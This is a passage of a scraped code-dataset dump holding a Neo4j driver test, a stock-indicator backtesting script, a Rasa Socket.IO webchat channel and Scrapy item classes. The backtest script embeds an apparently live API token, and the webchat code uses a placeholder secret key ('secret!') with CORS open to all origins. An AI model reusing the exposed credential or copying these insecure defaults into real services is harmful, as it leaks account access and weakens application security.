{"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 10, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.name", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.name", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 31, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "imp.load_module", "line_number": 59, "usage_type": "call"}, {"api_name": "imp.PY_SOURCE", "line_number": 60, "usage_type": "attribute"}, {"api_name": "sys.modules", "line_number": 69, "usage_type": "attribute"}, {"api_name": "sys.modules", "line_number": 70, "usage_type": "attribute"}, {"api_name": "sys.modules", "line_number": 71, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 85, "usage_type": "attribute"}, {"api_name": "sys.modules", "line_number": 90, "usage_type": "attribute"}, {"api_name": "os.chdir", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path", "line_number": 93, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 93, "usage_type": "call"}, {"api_name": "warnings.simplefilter", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path", "line_number": 101, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 110, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 111, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 112, "usage_type": "call"}, {"api_name": "os.path", "line_number": 112, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path", "line_number": 114, "usage_type": "attribute"}, {"api_name": "sys.modules", "line_number": 124, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 129, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 147, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 152, "usage_type": "attribute"}, {"api_name": "setuptools.__version__", "line_number": 153, "usage_type": "attribute"}, {"api_name": "setuptools.setup", "line_number": 154, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 160, "usage_type": "attribute"}, {"api_name": "distutils.__version__", "line_number": 162, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 165, "usage_type": "attribute"}, {"api_name": "distutils.core.setup", "line_number": 167, "usage_type": "call"}]} {"seq_id": "10722423", "text": "#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n\n# Copyright (c) 2002-2018 \"Neo Technology,\"\n# Network Engine for Objects in Lund AB [http://neotechnology.com]\n#\n# This file is part of Neo4j.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nfrom neo4j.v1 import GraphDatabase, ServiceUnavailable\nfrom neo4j.exceptions import ProtocolError\nfrom test.integration.tools import IntegrationTestCase\n\n\nclass DriverTestCase(IntegrationTestCase):\n\n def test_must_use_valid_url_scheme(self):\n with self.assertRaises(ProtocolError):\n GraphDatabase.driver(\"x://xxx\", auth=self.auth_token)\n\n def test_connections_are_reused(self):\n with GraphDatabase.driver(self.bolt_uri, auth=self.auth_token) as driver:\n session_1 = driver.session()\n connection_1 = session_1._connection\n session_1.close()\n session_2 = driver.session()\n connection_2 = session_2._connection\n session_2.close()\n assert connection_1 is connection_2\n\n def test_fail_nicely_when_using_http_port(self):\n uri = \"bolt://localhost:7474\"\n with self.assertRaises(ServiceUnavailable):\n with GraphDatabase.driver(uri, auth=self.auth_token, encrypted=False):\n pass\n", "sub_path": "test/integration/test_driver.py", "file_name": "test_driver.py", "file_ext": "py", "file_size_in_byte": 1760, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "test.integration.tools.IntegrationTestCase", "line_number": 27, "usage_type": "name"}, {"api_name": "neo4j.exceptions.ProtocolError", "line_number": 30, "usage_type": "argument"}, {"api_name": "neo4j.v1.GraphDatabase.driver", "line_number": 31, "usage_type": "call"}, {"api_name": "neo4j.v1.GraphDatabase", "line_number": 31, "usage_type": "name"}, {"api_name": "neo4j.v1.GraphDatabase.driver", "line_number": 34, "usage_type": "call"}, {"api_name": "neo4j.v1.GraphDatabase", "line_number": 34, "usage_type": "name"}, {"api_name": "neo4j.v1.ServiceUnavailable", "line_number": 45, "usage_type": "argument"}, {"api_name": "neo4j.v1.GraphDatabase.driver", "line_number": 46, "usage_type": "call"}, {"api_name": "neo4j.v1.GraphDatabase", "line_number": 46, "usage_type": "name"}]} {"seq_id": "192154835", "text": "# coding=utf-8\nfrom __future__ import print_function, absolute_import, unicode_literals\nfrom gm.api import *\nfrom ConnectDB import get_all_data, fill_data\nfrom datetime import timedelta, datetime as dt\nimport talib as ta\nimport math\nimport matplotlib.pyplot as plt\nfrom mpl_finance import candlestick_ohlc\nimport pandas as pd\nimport numpy as np\nimport STK.tsdata as ts\n\n# 设置token\nset_token('73f0f9b75e0ffe88aa3f04caa8d0d9be22ceda2d')\n\ndef Run(cn, k_data):\n #实参数据定义##########################\n FEE = 0\n units = 2000\n # deposit = deposit\n stop_time = '15:00'\n\n\n def MaxDrawDown(return_list):\n max_value = 0\n mdd = 0\n for i in return_list:\n max_value = max(i, max_value)\n if max_value != 0:\n mdd = round(min(mdd, (i - max_value) / max_value),3)\n else:\n mdd = 0\n return(mdd)\n\n\n # 获取数据, 创建DataFrame\n # future_type = symbol\n k_data['chg'] = (k_data['close'] - k_data['close'].shift(1))/ k_data['close'].shift(1)\n df = k_data.dropna()\n # df.astype('float64')\n # df = df.reset_index('datetime')\n\n # 定义账户类\n class ActStatus:\n def __init__(self):\n self.datetime = ''\n self.close = 0\n self.chg = 0\n self.pos = 0 # 1 long，-1 short，0 empty\n self.pre_pos = 0\n\n self.pnl = 0\n self.fee = 0\n self.net_pnl = 0\n self.pnl_rate = 0\n\n def trade_calc(self, datetime, close, chg, signal, pre_pos):\n self.datetime =datetime\n self.close = close\n self.chg = chg\n self.pos = signal\n self.pre_pos = pre_pos\n\n self.pnl = self.chg * self.pos * units * self.close\n self.fee = max(abs(self.close * units * abs(self.pos - self.pre_pos)) * FEE, 5 * abs(self.pos - self.pre_pos))\n self.net_pnl = self.pnl - self.fee\n self.pnl_rate = (self.chg - FEE) * self.pos\n\n\n # 策略和类初始化数据\n signal = 0\n pre_pos = 0\n rt_list = []\n atr = df.atr.iloc[1]\n buy_price = 0\n\n # max_price = 0\n\n pre_close = df.close.iloc[1]\n pre_cci_list = df[list(df.columns[-cn-1:-1])].iloc[1]\n # print(pre_cci_list)\n\n for i, row in enumerate(df.iterrows()):\n datetime = row[1].datetime\n close = row[1].close\n chg = row[1].chg\n\n\n if i < 1: # 从第二条开始\n continue\n\n ## 数据与信号驱动计算\n rt = ActStatus()\n rt.trade_calc(datetime, close, chg, signal, pre_pos)\n rt_list.append(rt)\n pre_pos = rt.pos\n\n\n ## 策略信号\n ## CCI\n signal_temp = [0]\n cci_list = row[1][-cn-1:-1]\n # print(cci_list)\n\n for j in range(0, cn):\n pre_cci = pre_cci_list[j]\n cci = cci_list[j]\n ci = 400\n range_value = 50\n for i in range(-ci,ci+1,range_value):\n if pre_cci < i and cci > i:\n signal_temp.append(1)\n # break\n elif pre_cci > i and cci < i:\n signal_temp.append(-1)\n # break\n\n\n if 1 in signal_temp:\n signal_cci = 1\n elif -1 in signal_temp:\n signal_cci = 0\n else:\n signal_cci = pre_pos\n\n\n if signal_cci == 1 :\n signal = 1\n else:\n signal= 0\n\n # ATR 止损\n if signal == 1:\n max_price = max(max_price, row[1].high)\n else:\n max_price = 0\n\n if close < (max_price - 2 * atr) and signal == 1:\n signal = 0\n\n # 百分比止损\n stop_loss = 0.05\n if signal == 1 and close < buy_price * (1 - stop_loss):\n signal = 0\n\n ## 保留前一天close数据\n if pre_pos == 0 and signal == 1:\n buy_price = pre_close\n elif pre_pos == 1 and signal == 0:\n buy_price = 0\n\n pre_close = close\n pre_cci_list = cci_list\n\n # 结果统计与展示\n df_rt = pd.DataFrame()\n df_rt['datetime'] = [rt.datetime for rt in rt_list]\n # df_rt['close'] = [rt.close for rt in rt_list]\n # df_rt['chg'] = [rt.chg for rt in rt_list]\n # df_rt['pos'] = [rt.pos for rt in rt_list]\n # df_rt['pre_pos'] = [rt.pre_pos for rt in rt_list]\n # df_rt['pnl'] = [rt.pnl for rt in rt_list]\n # df_rt['fee'] = [rt.fee for rt in rt_list]\n df_rt.index = [rt.datetime for rt in rt_list]\n df_rt['pnl_rate'] = [rt.pnl_rate for rt in rt_list]\n df_rt['cum_rate'] = round(df_rt['pnl_rate'].cumsum().astype(float) + 1,3)\n max_draw_down = MaxDrawDown(df_rt['cum_rate'])\n df_rt['cum_rate'].plot()\n df_rt = df_rt.set_index('datetime')\n # df = df.set_index('datetime')\n # df_rt = pd.concat([df_rt, df], axis=1)\n # df_rt.to_csv('test.csv')\n # print(df_rt)\n return(df_rt.cum_rate.iloc[-1], max_draw_down,df_rt)\n\n\n\ndef DrawSignals(k_data):\n # 作图\n stick_freq = 20 # 横坐标间隔\n\n ## 数据清理，去除非交易时间\n ohlc_data_arr = np.array(k_data[['datetime','open','high','low','close']])\n ohlc_data_arr2 = np.hstack([np.arange(ohlc_data_arr[:, 0].size)[:, np.newaxis], ohlc_data_arr[:, 1:]])\n ndays = ohlc_data_arr2[:, 0] # array([0, 1, 2, ... n-2, n-1, n])\n date_strings = list(ndays)\n\n left, width = 0.05, 0.90 ## 定义图横向使用\n rect1 = [left, 0.48, width, 0.50] ## 第一框图高度从0.48~0.98\n rect3 = [left, 0.28, width, 0.20] ## 第二框图高度从0.28~0.48，余下留给了横坐标\n rect2 = [left, 0.08, width, 0.20] ## 第3框图高度从0.08~0.28，余下留给了横坐标\n\n fig = plt.figure(facecolor='white')\n axescolor = '#f6f6f6' # the axes background color\n\n ax = fig.add_axes(rect1, facecolor=axescolor) # left, bottom, width, height\n ax3 = fig.add_axes(rect3, facecolor=axescolor, sharex=ax)\n ax2 = fig.add_axes(rect2, facecolor=axescolor, sharex=ax)\n ax2t = ax2.twinx() ## 右侧镜像纵坐标\n\n ax3.plot(date_strings, k_data['ii'], color='red', label='II%')\n ax3.plot(date_strings, k_data['ad%'], color='green', label='AD%')\n ax3.plot(date_strings, k_data['mfi'] / 100 - 0.5, color='blue', label='MFI')\n ax3.axhline(0, linestyle='dotted', color='m', lw=1) ## 画一条水平收益基准线\n ax3.axhline(0.15, linestyle='dotted', color='m', lw=1) ## 画一条水平收益基准线\n ax3.legend(loc='upper left', frameon=False)\n\n ax2.set_xticklabels(date_strings[::stick_freq], rotation=30, ha='right') ## 定义横坐标格式\n ax2.plot(date_strings, k_data['bp'] * 100, color='red', label='bp%')\n # ax2.plot(date_strings, k_data['mfi'], color='blue', label='mfi')\n # ax2.plot(date_strings, k_data['cci'], color='blue', label='cci')\n ax2.legend(loc='upper left', frameon=False)\n\n ax2t.set_ylim(float(min(k_data.cci)), float(max(k_data.cci)))\n ax2t.plot(date_strings, k_data['cci'], color='green', label='cci')\n ax2t.legend(loc='upper right', frameon=False)\n ax2t.axhline(100, linestyle='dotted', color='m', lw=1) ## 画一条水平收益基准线\n ax2t.axhline(0, linestyle='dotted', color='m', lw=1) ## 画一条水平收益基准线\n ax2t.axhline(-100, linestyle='dotted', color='m', lw=1) ## 画一条水平收益基准线\n\n # Plot candlestick chart\n candlestick_ohlc(ax, ohlc_data_arr2, width=0.6, colorup='r', colordown='g') ## K线图绘制\n\n # Format x axis\n ax.set_xticks(ndays[::stick_freq])\n ax.set_xticklabels(date_strings[::stick_freq], rotation=0, ha='right')\n ax.set_xlim(ndays.min(), ndays.max())\n\n ax.plot(date_strings, k_data['ma'], color='m', label='MA')\n ax.plot(date_strings, k_data['up'], color='blue', label='Bolling_up')\n ax.plot(date_strings, k_data['down'], color='brown', label='Bolling_down')\n # ax.plot(date_strings, k_data['sar'], marker = '*',color='olive', label='SAR', lw=0.5)\n ax.legend(loc='upper left', frameon=False)\n\n ax.autoscale_view()\n ax.grid(True, linestyle='dotted', linewidth='0.5') ## 背景格线虚化\n ax2.grid(True, linestyle='dotted', linewidth='0.5')\n ax3.grid(True, linestyle='dotted', linewidth='0.5')\n\n for label in ax.get_xticklabels():\n label.set_visible(False) ## 隐藏第一框图横坐标\n for label in ax3.get_xticklabels():\n label.set_visible(False) ## 隐藏第一框图横坐标\n plt.show()\n\ndef DrawSignals2(k_data):\n # 作图\n stick_freq = 20 # 横坐标间隔\n\n ## 数据清理，去除非交易时间\n ohlc_data_arr = np.array(k_data[['datetime','open','high','low','close']])\n ohlc_data_arr2 = np.hstack([np.arange(ohlc_data_arr[:, 0].size)[:, np.newaxis], ohlc_data_arr[:, 1:]])\n ndays = ohlc_data_arr2[:, 0] # array([0, 1, 2, ... n-2, n-1, n])\n date_strings = list(ndays)\n\n left, width = 0.05, 0.90 ## 定义图横向使用\n rect1 = [left, 0.48, width, 0.50] ## 第一框图高度从0.48~0.98\n rect3 = [left, 0.28, width, 0.20] ## 第二框图高度从0.28~0.48，余下留给了横坐标\n rect2 = [left, 0.08, width, 0.20] ## 第3框图高度从0.08~0.28，余下留给了横坐标\n\n fig = plt.figure(facecolor='white')\n axescolor = '#f6f6f6' # the axes background color\n\n ax = fig.add_axes(rect1, facecolor=axescolor) # left, bottom, width, height\n ax3 = fig.add_axes(rect3, facecolor=axescolor, sharex=ax)\n ax2 = fig.add_axes(rect2, facecolor=axescolor, sharex=ax)\n\n ax3.plot(date_strings, k_data['cum_rate'], color='blue', label='c_return')\n ax3.axhline(1, linestyle='dotted', color='m', lw=1) ## 画一条水平收益基准线\n ax3.legend(loc='upper left', frameon=False)\n\n ax2.set_xticklabels(date_strings[::stick_freq], rotation=30, ha='right') ## 定义横坐标格式\n ax2.plot(date_strings, k_data['cci30'], color='green', label='cci30')\n ax2.plot(date_strings, k_data['cci60'], color='red', label='cci60')\n ax2.legend(loc='upper left', frameon=False)\n ax2.axhline(100, linestyle='dotted', color='m', lw=1) ## 画一条水平收益基准线\n ax2.axhline(0, linestyle='dotted', color='m', lw=1) ## 画一条水平收益基准线\n ax2.axhline(-100, linestyle='dotted', color='m', lw=1) ## 画一条水平收益基准线\n\n # Plot candlestick chart\n candlestick_ohlc(ax, ohlc_data_arr2, width=0.6, colorup='r', colordown='g') ## K线图绘制\n\n # Format x axis\n ax.set_xticks(ndays[::stick_freq])\n ax.set_xticklabels(date_strings[::stick_freq], rotation=0, ha='right')\n ax.set_xlim(ndays.min(), ndays.max())\n ax.legend(loc='upper left', frameon=False)\n ax.autoscale_view()\n ax.grid(True, linestyle='dotted', linewidth='0.5') ## 背景格线虚化\n ax2.grid(True, linestyle='dotted', linewidth='0.5')\n ax3.grid(True, linestyle='dotted', linewidth='0.5')\n\n for label in ax.get_xticklabels():\n label.set_visible(False) ## 隐藏第一框图横坐标\n for label in ax3.get_xticklabels():\n label.set_visible(False) ## 隐藏第一框图横坐标\n plt.show()\n\ndef ta_cci(n, k_data):\n cci = pd.DataFrame()\n cci['cci'+str(n)] = ta.CCI(k_data.high, k_data.low, k_data.close, timeperiod=n)\n # cci['cci'+str(n)] = cci['cci'+str(n)].rolling(window=3, min_periods=0, center=Falseff).mean()\n return cci.round(2)\n\ndef ta_atr(n, k_data):\n atr = pd.DataFrame()\n atr['atr'] = ta.ATR(k_data.high, k_data.low, k_data.close, timeperiod=n)\n # atr['natr'] = ta.NATR(k_data.high, k_data.low, k_data.close, timeperiod=n)\n return(atr.round(3))\n\ndef ta_bolling(n, k_data):\n m = math.log(n) / 9 + 5 / 3\n bolling = pd.DataFrame()\n bolling['up'], bolling['ma'], bolling['down'] = ta.BBANDS(k_data.close, timeperiod=n, nbdevup=m, nbdevdn=m, matype=0)\n bolling['std'] = (bolling.up - bolling.ma) / m / 2\n bolling['bp'] = (k_data.close - bolling.down) / bolling['std'] / m / 2\n return (bolling.round(2))\n\ndef ta_mfi(n, k_data):\n mfi = pd.DataFrame()\n mfi['mfi'] = ta.MFI(k_data.high, k_data.low, k_data.close, k_data.volume, timeperiod=n)\n return(mfi.round(2))\n\ndef ADII(n, k_data):\n adii = pd.DataFrame()\n adii['vol_ii'] = k_data.volume * (2 * k_data.close - k_data.high - k_data.low) / (k_data.high - k_data.low + 0.0001 )\n adii['ii'] = adii.vol_ii.rolling(window=n, min_periods=0, center=False).sum() / k_data.volume.rolling(window=n, min_periods=0, center=False).sum()\n adii['vol_ad'] = k_data.volume * (k_data.close - k_data.open) / (k_data.high - k_data.low + 0.0001)\n adii['ad%'] = adii.vol_ad.rolling(window=n, min_periods=0, center=False).sum() / k_data.volume.rolling(window=n, min_periods=0, center=False).sum()\n return(adii[['ad%','ii']].round(3))\n\n\n#Moving Average\ndef MA(df, n):\n MA = pd.Series(pd.rolling_mean(df['Close'], n), name = 'MA_' + str(n))\n df = df.join(MA)\n return df\n\n#Exponential Moving Average\ndef EMA(df, n):\n EMA = pd.Series(pd.ewma(df['Close'], span = n, min_periods = n - 1), name = 'EMA_' + str(n))\n df = df.join(EMA)\n return df\n\ns_time = '2014-01-01'\ne_time = '2018-12-31'\ntotal_return = []\nreturn_m = []\nsymbol_list = ['SZSE.000002','SZSE.000333','SZSE.002456','SHSE.601318','SHSE.600585','SHSE.600660','SHSE.603288']\n# symbol_list = ['SHSE.603288']\n\nfor n_year in range(0, 5):\n start_year = dt.strptime(s_time, '%Y-%m-%d') + timedelta(weeks=52) * n_year\n end_year = dt.strptime(s_time, '%Y-%m-%d') + timedelta(weeks=52) * (n_year+1)\n # start_year = s_time\n # end_year = e_time\n total_return = []\n\n for sym in symbol_list:\n # 查询历史行情\n df_k = history(symbol=sym, frequency='1h', start_time=start_year, end_time=end_year, fields='eob,open,high,low,close,volume',adjust=1, df=True)\n # print(df_k)\n cci_n= [15,30,60]\n cci_len = len(cci_n)\n cci_m = pd.DataFrame()\n\n for n in cci_n:\n cci_m = pd.concat([cci_m, ta_cci(n,df_k)], axis=1)\n\n k_data = pd.concat([df_k, cci_m, ta_atr(30,df_k)], axis=1)\n k_data.rename(columns={'eob':'datetime'}, inplace = True)\n k_data = k_data.dropna()\n # DrawSignals(k_data)\n\n re, mdd, df_r = Run(cci_len, k_data)\n # k_data = k_data.set_index('datetime')\n # k_data = pd.concat([k_data,df_r], axis=1)\n # k_data = k_data.reset_index('datetime')\n # DrawSignals2(k_data)\n\n print(str(k_data.datetime.iloc[0]) + ' ~ ' + str(k_data.datetime.iloc[-1]))\n total_return.append([sym,start_year,end_year, re, mdd])\n for item in total_return:\n print(item)\n ret = pd.DataFrame(total_return, columns=['symbol', 'start', 'end', 'return', 'mdd'])\n return_m.append([start_year, end_year, ret['return'].mean(), ret['mdd'].mean(),(ret['return'].mean() - 1) / -ret['mdd'].mean()])\n\n\n\n\n# print(ret['mdd'].mean())\n# print((ret['return'].mean() - 1) / -ret['mdd'].mean())\nfilename = dt.now().strftime('%Y%m%d_%H%M%S') + '.csv'\nt_r=pd.DataFrame(list(return_m))\nt_r.to_csv(filename)\n# t_s=pd.DataFrame(list(total_return))\n# t_s.to_csv('R'+filename)", "sub_path": "STK/get_stk_m_v2.py", "file_name": "get_stk_m_v2.py", "file_ext": "py", "file_size_in_byte": 15008, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pandas.DataFrame", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 184, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 185, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 194, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 194, "usage_type": "name"}, {"api_name": "mpl_finance.candlestick_ohlc", "line_number": 223, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 245, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 245, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 252, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 253, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 253, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 253, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 262, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 262, "usage_type": "name"}, {"api_name": "mpl_finance.candlestick_ohlc", "line_number": 282, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 298, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 298, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 301, "usage_type": "call"}, {"api_name": "talib.CCI", "line_number": 302, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 307, "usage_type": "call"}, {"api_name": "talib.ATR", "line_number": 308, "usage_type": "call"}, {"api_name": "math.log", "line_number": 313, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 314, "usage_type": "call"}, {"api_name": "talib.BBANDS", "line_number": 315, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 321, "usage_type": "call"}, {"api_name": "talib.MFI", "line_number": 322, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 326, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 336, "usage_type": "call"}, {"api_name": "pandas.rolling_mean", "line_number": 336, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 342, "usage_type": "call"}, {"api_name": "pandas.ewma", "line_number": 342, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 354, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 354, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 354, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 355, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 355, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 355, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 366, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 369, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 371, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 386, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 394, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 394, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 395, "usage_type": "call"}]} {"seq_id": "641107514", "text": "import logging\nfrom flask_socketio import SocketIO, emit\nfrom flask import Blueprint, send_from_directory, request, jsonify\nfrom rasa_core.channels import HttpInputComponent, OutputChannel, HttpInputChannel, UserMessage\n\nlogger = logging.getLogger(__name__)\n\n\nclass WebchatBot(OutputChannel):\n\n def send(self, recipient_id, message):\n # type: (Text, Any) -> None\n \"\"\"Sends a message to the recipient.\"\"\"\n emit(message, room=recipient_id)\n\n def send_text_message(self, recipient_id, message):\n # type: (Text, Text) -> None\n \"\"\"Send a message through this channel.\"\"\"\n\n logger.info(\"Sending message: \" + message)\n emit('bot_uttered', {\"text\": message}, room=recipient_id)\n\n def send_image_url(self, recipient_id, image_url):\n # type: (Text, Text) -> None\n \"\"\"Sends an image. Default will just post the url as a string.\"\"\"\n message = {\"attachment\": {\n \"type\": \"image\",\n \"payload\": {\n # \"title\": \"generic\", commented because it's supported, but standard rasa dispatcher only sends the url for now\n \"src\": image_url\n }}}\n emit('bot_uttered', message, room=recipient_id)\n\n def send_text_with_buttons(self, recipient_id, text, buttons, **kwargs):\n # type: (Text, Text, List[Dict[Text, Any]], **Any) -> None\n \"\"\"Sends buttons to the output.\"\"\"\n\n message = {\n \"text\": text,\n \"quick_replies\": []\n }\n\n for button in buttons:\n message[\"quick_replies\"].append({\n \"content_type\": \"text\",\n \"title\": button['title'],\n \"payload\": button['payload']\n })\n\n emit('bot_uttered', message, room=recipient_id)\n\n def send_custom_message(self, recipient_id, elements):\n # type: (Text, List[Dict[Text, Any]]) -> None\n \"\"\"Sends elements to the output.\"\"\"\n\n message = {\"attachment\": {\n \"type\": \"template\",\n \"payload\": {\n \"template_type\": \"generic\",\n \"elements\": elements[0]\n }}}\n\n emit('bot_uttered', message, room=recipient_id)\n\n\nclass WebChatInput(HttpInputComponent):\n \"\"\"Webchat input channel implementation. Based on the HTTPInputChannel.\"\"\"\n\n def __init__(self, static_assets_path=None, index='index.html'):\n # type: (Text, Text) -> None\n\n self.static_assets_path = static_assets_path\n self.index = index\n\n def blueprint(self, on_new_message):\n\n web_chat_webhook = Blueprint('web_chat_webhook', __name__)\n\n @web_chat_webhook.route('/health')\n def health():\n return jsonify({\"status\": \"ok\"})\n\n if self.static_assets_path is not None and self.index is not None:\n @web_chat_webhook.route('/<path:path>')\n def send_path(path):\n return send_from_directory(self.static_assets_path, path)\n\n @web_chat_webhook.route(\"/\", methods=['GET'])\n def bot():\n return send_from_directory(self.static_assets_path, self.index)\n\n return web_chat_webhook\n\n\nclass SocketInputChannel(HttpInputChannel):\n\n def _record_messages(self, on_message):\n # type: (Callable[[UserMessage], None]) -> None\n from flask import Flask\n from flask_cors import CORS\n\n app = Flask(__name__)\n CORS(app)\n app.config['SECRET_KEY'] = 'secret!'\n\n for component in self.listener_components:\n if self._has_root_prefix():\n app.register_blueprint(component.blueprint(on_message))\n else:\n app.register_blueprint(component.blueprint(on_message),\n url_prefix=self.url_prefix)\n\n socketio = SocketIO(app)\n\n @socketio.on('connect')\n def on_connect():\n pass\n\n @socketio.on('user_uttered')\n def handle_message(message):\n on_message(UserMessage(message, WebchatBot(), request.sid))\n\n cors = CORS(app, resources={r\"*\": {\"origins\": \"*\"}}) # TODO change that\n\n socketio.run(app, port=self.http_port, host='0.0.0.0')\n", "sub_path": "rasa_addons/webchat/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 4185, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "logging.getLogger", "line_number": 6, "usage_type": "call"}, {"api_name": "rasa_core.channels.OutputChannel", "line_number": 9, "usage_type": "name"}, {"api_name": "flask_socketio.emit", "line_number": 14, "usage_type": "call"}, {"api_name": "flask_socketio.emit", "line_number": 21, "usage_type": "call"}, {"api_name": "flask_socketio.emit", "line_number": 32, "usage_type": "call"}, {"api_name": "flask_socketio.emit", "line_number": 50, "usage_type": "call"}, {"api_name": "flask_socketio.emit", "line_number": 63, "usage_type": "call"}, {"api_name": "rasa_core.channels.HttpInputComponent", "line_number": 66, "usage_type": "name"}, {"api_name": "flask.Blueprint", "line_number": 77, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 81, "usage_type": "call"}, {"api_name": "flask.send_from_directory", "line_number": 86, "usage_type": "call"}, {"api_name": "flask.send_from_directory", "line_number": 90, "usage_type": "call"}, {"api_name": "rasa_core.channels.HttpInputChannel", "line_number": 95, "usage_type": "name"}, {"api_name": "flask.Flask", "line_number": 102, "usage_type": "call"}, {"api_name": "flask_cors.CORS", "line_number": 103, "usage_type": "call"}, {"api_name": "flask_socketio.SocketIO", "line_number": 113, "usage_type": "call"}, {"api_name": "rasa_core.channels.UserMessage", "line_number": 121, "usage_type": "call"}, {"api_name": "flask.request.sid", "line_number": 121, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 121, "usage_type": "name"}, {"api_name": "flask_cors.CORS", "line_number": 123, "usage_type": "call"}]} {"seq_id": "468206093", "text": "# Define here the models for your scraped items\n#\n# See documentation in:\n# http://doc.scrapy.org/topics/items.html\n\nfrom scrapy.item import Item, Field\n\nfrom scrapy.contrib.loader.processor import Compose, Identity\n\n\nclass Agenda(Item):\n time = Field()\n guest_team = Field()\n guest_score = Field()\n\n home_team = Field()\n home_score = Field()\n\n point_leader_name = Field()\n point_leader_stat = Field()\n\n rebound_leader_name = Field()\n rebound_leader_stat = Field()\n \n assist_leader_name = Field()\n assist_leader_stat = Field()\n\n\n", "sub_path": "nbadta/items.py", "file_name": "items.py", "file_ext": "py", "file_size_in_byte": 564, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "scrapy.item.Item", "line_number": 11, "usage_type": "name"}, {"api_name": "scrapy.item.Field", 